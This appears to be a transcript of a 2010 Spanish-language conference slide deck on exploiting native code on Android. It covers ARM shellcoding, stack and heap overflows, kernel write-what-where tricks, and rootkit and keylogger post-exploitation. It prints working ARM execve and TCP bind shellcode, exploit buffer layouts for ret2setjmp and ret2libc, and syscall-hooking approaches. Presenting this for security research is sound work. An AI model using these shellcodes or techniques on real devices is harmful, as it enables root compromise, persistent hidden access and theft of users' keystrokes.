javier moreno & eloi sanfélix - seguridad y explotación nativa en android [rootedcon 2010]
DESCRIPTION
En esta conferencia se examinará el sistema operativo Android y las posibilidades de explotar vulnerabilidades típicas en código nativo.Tras la introducción al desarrollo de shellcodes para este sistema operativo y su correcta funcionalidad, se estudiará la posibilidad de explotar desbordamientos de búfer en la pila (stack) y en memoria dinámica (heap), analizando las protecciones de memoria disponibles en Android y tratando de buscar maneras alternativas de explotar dichos desbordamientos.Finalmente, se repasarán las posibilidades de utilizar LKMs para realizar tareas de post-explotación en el sistema pasando lo más desapercibidos posible. Se demostrará cómo realizar "syscall hooking" así como un pequeño módulo para interceptar las pulsaciones del teclado virtual de Android, todo ello acompañándose de sus correspondientes demostraciones prácticas.TRANSCRIPT
![Page 1: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/1.jpg)
1Congreso de Seguridad ~ Rooted CON’2010
Seguridad y explotación nativa en Android
Smashing the droid for fun and profit
![Page 2: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/2.jpg)
2
Agenda
• Introducción
• Shellcoding
• Buffer overflows
• Kernel land
• Post explotación
Congreso de Seguridad ~ Rooted CON’2010
![Page 3: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/3.jpg)
3
Smart Phones
• Definición difusa:– Terminal móvil
– Sistema operativo complejo
– Funciones avanzadas
• Sistemas operativos:– Symbian, iPhoneOS, Blackberry, Android,
PalmOS, Maemo Linux
Congreso de Seguridad ~ Rooted CON’2010
![Page 4: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/4.jpg)
4
¿Por qué son interesantes?
• Cada vez son más similares a un ordenador
• Robo de datos personales
• Suplantación de identidades
• Conexión permanente 3G
• Sistemas con poco tiempo en el mercado
• Baja frecuencia de actualización
Congreso de Seguridad ~ Rooted CON’2010
![Page 5: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/5.jpg)
5
Introducción a Android
• OS para smart phones y dispositivos móviles
• Basado en Linux para ARM
• Android SDK basado en Java– Máquina virtual Dalvik
– Soporte JNI para código nativo
– Muchas librerías nativas (webkit, rendering, …)
Congreso de Seguridad ~ Rooted CON’2010
![Page 6: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/6.jpg)
6
Arquitectura de Android
Congreso de Seguridad ~ Rooted CON’2010
![Page 7: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/7.jpg)
7
Modelo de seguridad
• Sandboxing basado en permisos Unix– UID distinto por app
– Permisos en el sistema de ficheros
• Apps instaladas desde AndroidMarketplace– Auto firmadas por el autor
• ¿ Java = plataforma segura?– Librerías nativas, kernel, etc
Congreso de Seguridad ~ Rooted CON’2010
![Page 8: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/8.jpg)
8
Agenda
• Introducción
• Shellcoding
• Buffer overflows
• Kernel land
• Post explotación
Congreso de Seguridad ~ Rooted CON’2010
![Page 9: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/9.jpg)
9
Introducción a ARM
• Copa el mercado de los dispositivos móviles
• Relación consumo / prestaciones
• Arquitectura licenciable (ARM IP)
• Juego instrucciones RISC 32 bits, Bi-endian– Posibilidades de extensión
Congreso de Seguridad ~ Rooted CON’2010
![Page 10: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/10.jpg)
10
ARM vs Thumb mode
• Desde la versión ARM7TDMI
• Thumb: versión reducida de la CPU a 16 bits
• Mappeado con las instrucciones de 32 bits
• Mejora la densidad de código
• Menor consumo de memoria
• Alineamiento– Modo ARM: 4 bytes
– Modo Thumb: 2 bytes
Congreso de Seguridad ~ Rooted CON’2010
![Page 11: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/11.jpg)
11
Peculiaridades de Thumb
• Registros de propósito general de r0 a r7
• Menos instrucciones disponibles
• Mnemónicos push/pop
• Inmediato más grande posible = 255
• Limitaciones en el uso de registros desplazados
• { r13, r14, r15, r16 } = { sp, lr, pc, cpsr }
Congreso de Seguridad ~ Rooted CON’2010
![Page 12: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/12.jpg)
12
ARM ↔ Thumb
• Bit T del CPSR a 1 indica modo Thumb
• Branch Exchange (bx addr)– T = <LSB addr>
– Compilar usando –mthumb-interwork
Congreso de Seguridad ~ Rooted CON’2010
.globl main
main:
.CODE 32
add r2,pc,#1
bx r2
.CODE 16
thumb:
![Page 13: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/13.jpg)
13
ARM ABI
• Llamadas a funciones con bl– Dirección retorno en lr
– Función llamada debe preservarlo
• Muchas posibilidades para return
– mov pc,lr / ldm sp,{pc}/…
• Parámetros en r0,r1,…
Congreso de Seguridad ~ Rooted CON’2010
![Page 14: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/14.jpg)
14
Syscalls en Linux/ARM
• Definidas en el kernel– /usr/src/linux/arch/arm/include/asm/unistd.h
• En general coinciden con x86
• Syscalls extra para socket– En lugar de socketcall
Congreso de Seguridad ~ Rooted CON’2010
![Page 15: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/15.jpg)
15
Llamadas a syscalls
• Parámetros en r0, r1, r2, ...
• Número de la llamada en r7
• Saltamos al kernel con svc
• Valor de retorno en r0
Congreso de Seguridad ~ Rooted CON’2010
int open(const char *camino, int flags, mode_t modo);
r0 r7 r0 r1 r2
![Page 16: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/16.jpg)
16
Uso de sockets
Congreso de Seguridad ~ Rooted CON’2010
@ -- socket(2,1,0) --
@ parameters
eor r5, r5
push {r5}
add r5, r5, #1
push {r5}
add r5, r5, #1
push {r5}
@ sys_call
mov r0, #1
mov r1, sp
mov r7, #102
svc 0x00000080
mov r4, r0
En otras arquitecturas:
- Funciones en “net.h”
- r0 = función
- r1 = parámetros
- Llamada Socketcall
![Page 17: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/17.jpg)
17
Uso de sockets
Congreso de Seguridad ~ Rooted CON’2010
@ -- socket(2,1,0) --
@ parameters
eor r5, r5
push {r5}
add r5, r5, #1
push {r5}
add r5, r5, #1
push {r5}
@ sys_call
mov r0, #1
mov r1, sp
mov r7, #102
svc 0x00000080
mov r4, r0
@ -- socket(2,1,0) -
-
mov r0, #2
mov r1, #1
eor r2, r2
mov r7, #250
add r7, #31 @ 281
svc 0x00000080
mov r4, r0
![Page 18: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/18.jpg)
18
Compatibilidad con iPhone OS
• También utiliza ARM– El número syscall puede variar
– Se debe poner en r12
• Shellcodes multiplataforma!
• Número syscalls en:http://theiphonewiki.com/wiki/index.php?title=Kernel_Syscalls
Congreso de Seguridad ~ Rooted CON’2010
![Page 19: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/19.jpg)
19
Shellcode execve (I)
Congreso de Seguridad ~ Rooted CON’2010
.globl main
main:
.CODE 32
add r2,pc,#1
bx r2
.CODE 16
thumb:
@setuid(0)
eor r0,r0
movs r7, #23
svc 0x00000080
@Prepare execve args
adr r0, string
adr r5, string2
eor r6, r6
str r6, [r5]
![Page 20: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/20.jpg)
20
Shellcode execve (II)
Congreso de Seguridad ~ Rooted CON’2010
push {r6}
push {r0}
mov r1, sp
eor r2, r2, r2
@call execve()
movs r7, #11
svc 0x00000080
.align 2
string:
.ascii "///system/bin/sh"
string2:
.ascii "\xAA\xAA\xAA\xAA"
![Page 21: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/21.jpg)
21
TCP Bind shellcode (I)
Congreso de Seguridad ~ Rooted CON’2010
@ socket()
mov r0, #2
mov r1, #1
eor r2, r2
mov r7, #250
add r7, #31
svc 0x00000080
mov r4, r0
@ preparing sockaddr_in
eor r5, r5
push {r5}
push {r5}
push {r5}
mov r5, #7
lsl r5, #8
add r5, #7
![Page 22: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/22.jpg)
22
TCP Bind shellcode (II)
Congreso de Seguridad ~ Rooted CON’2010
lsl r5, #16
add r5, #2
push {r5}
@bind()
mov r0, r4
mov r1, sp
mov r2, #16
mov r7, #250
add r7, #32
svc 0x00000080
@listen()
mov r0, r4
mov r1, #1
mov r7, #250
add r7, #34
svc 0x00000080
![Page 23: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/23.jpg)
23
TCP Bind shellcode (III)
Congreso de Seguridad ~ Rooted CON’2010
@accept()
mov r0, r4
eor r1, r1
eor r2, r2
mov r7, #250
add r7, #35
svc 0x00000080
mov r6,r0
@dup2 stdin
mov r0, r6
eor r1, r1
mov r7, #63
svc 0x00000080
![Page 24: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/24.jpg)
24
TCP Bind shellcode (IV)
Congreso de Seguridad ~ Rooted CON’2010
@dup2 stdout
mov r0, r6
mov r1, #1
mov r7, #63
svc 0x00000080
@dup2 stderr
mov r0, r6
mov r1, #2
mov r7, #63
svc 0x00000080
@Execve shellcode appended here
![Page 25: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/25.jpg)
25
Módulos para Metasploit
• Nuevas shellcodes para Android– execve(/system/bin/sh)
– TCP Bind shellcode
• Encoder XOR para ARM LE
• Scripts de los ejemplos posteriores
Congreso de Seguridad ~ Rooted CON’2010
![Page 26: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/26.jpg)
26
Agenda
• Introducción
• Shellcoding
• Buffer overflows
• Kernel land
• Post explotación
Congreso de Seguridad ~ Rooted CON’2010
![Page 27: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/27.jpg)
27
Mapa de memoria
Congreso de Seguridad ~ Rooted CON’2010
# cat /proc/self/maps
00008000-00019000 r-xp 00000000 1f:00 348 /system/bin/...
00019000-0001a000 rw-p 00011000 1f:00 348 /system/bin/...
0001a000-00020000 rwxp 0001a000 00:00 0 [heap]
[...]
afe00000-afe39000 r-xp 00000000 1f:00 478 /system/lib/...
afe39000-afe3c000 rw-p 00039000 1f:00 478 /system/lib/...
afe3c000-afe47000 rw-p afe3c000 00:00 0
b0000000-b0013000 r-xp 00000000 1f:00 332 /system/bin/...
b0013000-b0014000 rw-p 00013000 1f:00 332 /system/bin/...
b0014000-b001a000 rwxp b0014000 00:00 0
beebe000-beed3000 rwxp befeb000 00:00 0 [stack] <-- ASLR
#
![Page 28: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/28.jpg)
28
Mapa de memoria - Implicaciones
• Direcciones en la pila no predecibles– Difícil saltar directamente a buffers ahí
• Pila y Heap mapeadas como rwx– Ejecución de código posible ☺
• Librerías en direcciones predecibles– Posibilidad de ejecutar su código
– Paso de parámetros plantea problemas
Congreso de Seguridad ~ Rooted CON’2010
![Page 29: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/29.jpg)
29
Buffer overflows - Stack
• Programa de ejemplo:– Bucle esperando conexiones
– Para cada conexión:• Leer entero de 32 bits X
• Leer X bytes en un buffer de tamaño fijo
– Compilado con la toolchain de Android• Ver http://source.android.com
Congreso de Seguridad ~ Rooted CON’2010
![Page 30: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/30.jpg)
30
Buffer overflow - Stack
• Controlamos 4 registros generales y el PC
Congreso de Seguridad ~ Rooted CON’2010
00008520 <read_msg>:
8520: b5f0 push {r4, r5, r6, r7, lr}
8522: 4d12 ldr r5,[pc, #72] (856c+<.text+0x8c>)
8524: b093 sub sp, #76
8526: a911 add r1, sp, #68
[...]
8568: b013 add sp, #76
856a: bdf0 pop {r4, r5, r6, r7, pc} !!!!!!!!
![Page 31: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/31.jpg)
31
Buffer overflow - Stack
• Explotación– ret2libc : Paso de registros en parámetros?
– jmp/branch sp : No encontrado inicialmente
– ret2setjmp• setjmp copia registros en memoria
• Podremos elegir dónde y saltar a ellos
• Pero toma los parámetros en registros... o no?
Congreso de Seguridad ~ Rooted CON’2010
![Page 32: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/32.jpg)
32
Desensamblado de setjmp
Congreso de Seguridad ~ Rooted CON’2010
(gdb) disass setjmp
Dump of assembler code for function setjmp:0xafe0dd20 <setjmp+0>: push {r0, lr}
0xafe0dd24 <setjmp+4>: mov r0, #0 ; 0x00xafe0dd28 <setjmp+8>: blx 0xafe12094 <sigblock>
0xafe0dd2c <setjmp+12>: mov r1, r00xafe0dd30 <setjmp+16>: pop {r0, lr} !!!!!!!!
0xafe0dd34 <setjmp+20>: str r1, [r0, #100]0xafe0dd38 <setjmp+24>: ldr r1, [pc, #16] ;
0xafe0dd50 <setjmp+48>0xafe0dd3c <setjmp+28>: str r1, [r0], #4
0xafe0dd40 <setjmp+32>: add r0, r0, #52 ; 0x340xafe0dd44 <setjmp+36>: stm r0, {r4-r12, sp, lr} !!!!!!!!
0xafe0dd48 <setjmp+40>: mov r0, #0 ; 0x00xafe0dd4c <setjmp+44>: bx lr
![Page 33: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/33.jpg)
33
Buffer overflows - ret2setjmp
• La técnica:– Meter stub en registros controlados
– Salto a setjmp+0x10
– Retorno a los registros controlados
– Repetir si necesitamos más código
• Limitaciones– Necesitamos controlar al menos un registro
– Necesitamos setjmp en dirección predecible
– Necesitamos región rwx para poner stub
Congreso de Seguridad ~ Rooted CON’2010
![Page 34: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/34.jpg)
34
Buffer overflows – Evil buffer
• En nuestro caso controlamos r4-r7
Congreso de Seguridad ~ Rooted CON’2010
![Page 35: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/35.jpg)
35
Buffer overflows – Evil buffer
• En nuestro caso controlamos r4-r7
Congreso de Seguridad ~ Rooted CON’2010
<padding> -> Rellena el buffer
<b sp><b sp><b sp><b sp> --> r4-r7<0xafe0dd30> --> setjmp+0x10
<destino><destino+offset_r4> --> r0,lr
<shellcode> --> evil shellcode ☺
![Page 36: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/36.jpg)
36
Buffer overflows - Stack
• ¡¡Demo!!
Congreso de Seguridad ~ Rooted CON’2010
![Page 37: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/37.jpg)
37
Buffer overflows - ret2libc
• Reutilizaremos la técnica anterior– Código en memoria con setjmp
• Parámetros a registros
• Llamadas a libc
• Podemos encadenar setjmp’s– Más código controlable
– Puede que solo controlemos un registro
Congreso de Seguridad ~ Rooted CON’2010
![Page 38: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/38.jpg)
38
Buffer overflows - ret2libc
• Demo– Usaremos mprotect para hacer pila no accesible
• El exploit resulta en un segfault
• Si la pila fuera NX, la podríamos hacer RWX
Congreso de Seguridad ~ Rooted CON’2010
<pop {r0,r1,r2,r3}><and r0,r0,sp><blx r3><b sp>
<0xafe0dd30><destino><destino+offset_r4>
<PAGE_SHIFT><0x01><0x00><mprotect><shellcode>
![Page 39: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/39.jpg)
39
Buffer overflows - ret2libc
• ¡¡Demo!!
Congreso de Seguridad ~ Rooted CON’2010
![Page 40: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/40.jpg)
40
Buffer overflows - Heap
• Bionic libc incorpora DLMalloc 2.8.4– Listas enlazadas para chunks pequeños
– Árboles binarios para chunks medianos
– Chunks grandes se reservan con mmap
• Seguridad– Safe unlinking
– ptr > mmap_least_addr antes de usarlo
– Otros…
• No conocemos técnica genérica
Congreso de Seguridad ~ Rooted CON’2010
![Page 41: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/41.jpg)
41
Buffer overflows - Heap
• ¡¡Demo!!
Congreso de Seguridad ~ Rooted CON’2010
![Page 42: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/42.jpg)
42
Agenda
• Introducción
• Shellcoding
• Buffer overflows
• Kernel land
• Post explotación
Congreso de Seguridad ~ Rooted CON’2010
![Page 43: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/43.jpg)
43
Kernel – Fallos típicos
• NULL ptr dereference– Binario con sección mapeada en NULL
• mmap_min_addr protege frente a ello
• Ver exploit sock_sendpage() de Zinx
• Buffer overflows– Stack: retorno a función en userspace
– Slab: rellenar slab + overflow + dereference• Ver paper en Phrack #64
Congreso de Seguridad ~ Rooted CON’2010
![Page 44: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/44.jpg)
44
Kernel – Fallos típicos
• Write-what-where– Escritura en dirección controlable
– Contenidos controlados o no
– ¿Qué sobrescribimos?
• Explotando write-what-where’s– Tablas del kernel
– Tablas específicas de la arquitectura
– …
Congreso de Seguridad ~ Rooted CON’2010
![Page 45: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/45.jpg)
45
ARM - Excepciones
• Tabla de vectores de excepción– Instrucciones a ejecutar en caso de excepción
Congreso de Seguridad ~ Rooted CON’2010
![Page 46: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/46.jpg)
46
EVT en Android
• EVT puede estar en 0x0000000 o 0xFFFF000– Linux usa 0xFFFF0000
Congreso de Seguridad ~ Rooted CON’2010
(gdb) x/8i 0xFFFF00000xffff0000: svc 0x009f0000
0xffff0004: b 0xffff03800xffff0008: ldr pc, [pc, #1040]; 0xffff0420
0xffff000c: b 0xffff0300
0xffff0010: b 0xffff02800xffff0014: b 0xffff0404
0xffff0018: b 0xffff0200
0xffff001c: b 0xffff0400
![Page 47: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/47.jpg)
47
EVT en Android
• Instrucción branch– Desplazamiento máximo 24 bits
– Espacio de usuario demasiado lejos!
• Sigamos investigando…– Veamos qué pasa ante instrucciones ilegales
Congreso de Seguridad ~ Rooted CON’2010
![Page 48: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/48.jpg)
48
EVT en Android
Congreso de Seguridad ~ Rooted CON’2010
0xffff0380: stmia sp, {r0, lr}0xffff0384: mrs lr, SPSR
0xffff0388: str lr, [sp, #8]
0xffff038c: mrs r0, CPSR0xffff0390: eor r0, r0, #8 ; 0x8
0xffff0394: msr SPSR_fsxc, r00xffff0398: and lr, lr, #15 ; 0xf
0xffff039c: mov r0, sp
0xffff03a0: ldr lr, [pc, lr, lsl #2]0xffff03a4: movs pc, lr
0xffff03a8: 0xc0023c20 <__und_usr>
0xffff03ac: 0xc0023970 <__und_invalid>0xffff03b0: 0xc0023970 <__und_invalid>
0xffff03b4: 0xc0023a60 <__und_svc>!
![Page 49: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/49.jpg)
49
Explotando write-what-where
• Idea– Sobrescribir handler de instrucción ilegal
• Apuntar a nuestro propio código
– Ejecutar instrucción ilegal• Se ejecuta nuestro código
– Dar privilegios y restaurar handler
Congreso de Seguridad ~ Rooted CON’2010
![Page 50: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/50.jpg)
50
Agenda
• Introducción
• Shellcoding
• Buffer overflows
• Kernel land
• Post explotación
Congreso de Seguridad ~ Rooted CON’2010
![Page 51: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/51.jpg)
51
Got root! Nowwhat?
• Rootkits– Mantener acceso al sistema
– Ocultar presencia del atacante
• Rootkits en Linux– Generalmente inyectan LKMs
• Junto con app en user-space
Congreso de Seguridad ~ Rooted CON’2010
![Page 52: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/52.jpg)
52
Syscall hooking
• Hooking as usual– sys_call_table hook
– Parchear sys_call_handler
– Parchear syscall
– …
• Vectores de excepción– Modificar vector SVC
Congreso de Seguridad ~ Rooted CON’2010
![Page 53: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/53.jpg)
53
Android keylogger
• Teclado virtual– Driver registra handler para IRQ #16
– Lee keycode y lo registra en el kernel
• Opciones:– Modificar irq_handlers[]
– Modificar código del driver
– Modificar vector de excepción
Congreso de Seguridad ~ Rooted CON’2010
![Page 54: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/54.jpg)
54
Post-explotación
� ¡Demos!
Congreso de Seguridad ~ Rooted CON’2010
![Page 55: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/55.jpg)
55
Rootkit más silencioso
• ARM permite poner la EVT en 0x0000000– Un bit en el registro de control (CR) del
coprocesador que controla el sistema (SCC) define dónde está
• Un rootkit podría duplicarla– Interceptar syscalls interesantes
– Redirigir el resto
• Cloaker implementa esta idea– Paper en http://srgsec.cs.illinois.edu/cloaker.pdf
Congreso de Seguridad ~ Rooted CON’2010
![Page 56: Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]](https://reader033.vdocuments.mx/reader033/viewer/2022060118/558bc651d8b42af10a8b45cf/html5/thumbnails/56.jpg)
56Congreso de Seguridad ~ Rooted CON’2010
Javier [email protected]://vierito.es
Eloi Sanfè[email protected]://limited-entropy.com
¡Gracias por vuestra atención!
Gracias a M.A. Mateo y A. Perles, DISCA UPV, por prestarnos el hardware